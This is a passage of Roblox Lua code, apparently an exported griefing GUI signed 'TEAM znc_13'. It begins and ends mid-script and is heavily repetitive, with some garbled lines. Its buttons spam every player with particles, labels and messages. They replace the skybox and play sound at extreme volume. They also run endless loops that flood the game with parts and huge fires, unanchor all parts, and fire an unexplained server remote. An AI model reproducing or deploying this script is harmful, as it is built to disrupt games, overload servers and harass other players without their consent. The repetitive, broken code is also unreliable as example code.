"http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head818 emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) function click() s = Instance.new("Sky") s.Name = "Sky" s.Parent = game:GetService("Lighting") s.SkyboxBk = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxDn = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxFt = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxLf = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxRt = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxUp = "http://www.roblox.com/asset/?id=111604272791927" game:GetService("Lighting").TimeOfDay = 12 end script.Parent.MouseButton1Down:connect(click) ---MADE BY 777ILILO PLZ DO NOT SKID IT IM SCRIPTING THIS RN ON 2 AM :SOB: end; task.spawn(C_1b); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_1d() local script = G2L["1d"]; function onClick() local tubers93 = Instance.new("Sound") tubers93.Parent = game:GetService("Workspace") tubers93.SoundId = "rbxassetid://6129291390" tubers93.Playing = true tubers93.Looped = false tubers93.Volume = 99999999999999999 end script.Parent.MouseButton1Down:connect(onClick) end; task.spawn(C_1d); -- StarterGui.ScreenGui.Frame.close.LocalScript local function C_1f() local script = G2L["1f"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.Visible = false end) end; task.spawn(C_1f); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_22() local script = G2L["22"]; function click() while true do local team1 = Instance.new("Team", game.Teams) team1.Name = "TEAM znc_13!" team1.TeamColor = BrickColor.random() game:service'Debris':AddItem(team1,0.3) wait() end end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_22); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_24() local script = G2L["24"]; script.Parent.MouseButton1Click:Connect(function() while true do communism=math.random(0,3) crex=math.random(3,100) obesity=math.random(-500, 500) positivity=math.random(100, 600) IEndorseThese=math.random(-500, 500) wait() doom=Instance.new("Part") local imnotfat = math.random(1, 3) if imnotfat == 1 then doom.Shape = "Ball" else if imnotfat == 2 then doom.Shape = "Cylinder" else end end doom.Material = "Neon" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, positivity, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, communism, communism) doom.Parent = game.Workspace yooka=math.random(-200, -50) doom=Instance.new("Part") doom.Shape = "Ball" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, yooka, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, 800, communism) doom.Parent = game.Workspace communism=math.random(0,3) crex=math.random(3,100) obesity=math.random(-500, 500) positivity=math.random(100, 600) IEndorseThese=math.random(-500, 500) doom=Instance.new("Part") doom.Shape = "Ball" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, positivity, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, communism, communism) doom.Parent = game.Workspace communism=math.random(0,3) crex=math.random(3,100) obesity=math.random(-500, 500) positivity=math.random(100, 600) IEndorseThese=math.random(-500, 500) doom=Instance.new("Part") doom.Shape = "Ball" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, positivity, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, communism, communism) doom.Parent = game.Workspace communism=math.random(0,3) crex=math.random(3,100) obesity=math.random(-500, 500) positivity=math.random(100, 600) IEndorseThese=math.random(-500, 500) doom=Instance.new("Part") doom.Shape = "Ball" doom.Size = Vector3.new(crex, crex, crex) doom.Position = Vector3.new(obesity, positivity, IEndorseThese) doom.Color = Color3.new(math.random(), math.random(), math.random()) doom.Velocity=Vector3.new(communism, communism, communism) doom.Parent = game.Workspace end end) end; task.spawn(C_24); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_26() local script = G2L["26"]; function click() while wait(0.4) do xd = Instance.new("Message",workspace) xd.Text = "GET REKTED BY TEAM znc_13!" wait(0.4) xd:Remove() end end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_26); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_29() local script = G2L["29"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.RemoteEvent:FireServer() end) end; task.spawn(C_29); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_2c() local script = G2L["2c"]; script.Parent.MouseButton1Down:Connect(function() for i,v in pairs(game:GetService("Players"):GetChildren()) do if v:IsA("Player") then local gui = Instance.new("BillboardGui",v.Character.Head) gui.Adornee = v.Character.Head gui.Size = UDim2.new(0,100,0,150) gui.StudsOffset = Vector3.new(0,1,0) local text = Instance.new("TextLabel",gui) text.Text = "znc_13 TEAM IS HERE !" text.Position = UDim2.new(0,0,0,-50) text.Size = UDim2.new(0,100,0,100) text.BackgroundTransparency = 0.1 text.TextScaled = true end end end) end; task.spawn(C_2c); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_2e() local script = G2L["2e"]; script.Parent.MouseButton1Down:Connect(function() for i,v in pairs(game.Workspace:GetDescendants()) do if v:IsA("BasePart") then v.Anchored = false end end for i,v in pairs(game.ReplicatedStorage:GetDescendants()) do if v:IsA("BasePart") then v.Anchored = false end end for i,v in pairs(game.ReplicatedFirst:GetDescendants()) do if v:IsA("BasePart") then v.Anchored = false end end end) end; task.spawn(C_2e); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_30() local script = G2L["30"]; function click() for _,player in pairs(game.Players:GetPlayers()) do spawn(function() while wait(0.7) do player.Character:FindFirstChildOfClass("BodyColors").HeadColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").TorsoColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").LeftLegColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").RightLegColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").LeftArmColor = BrickColor.random() player.Character:FindFirstChildOfClass("BodyColors").RightArmColor = BrickColor.random() end end) end end script.Parent.MouseButton1Down:connect(click) end; task.spawn(C_30); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_32() local script = G2L["32"]; script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end)script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true do part = Instance.new("Part") part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500)) part.Parent = game.Workspace part.BrickColor = BrickColor.new("Really black") fire = Instance.new("Fire") fire.Size = 9999999999 fire.Parent = part wait(888888888888888888888888888888888888) end end) script.Parent.MouseButton1Down:Connect(function() while true 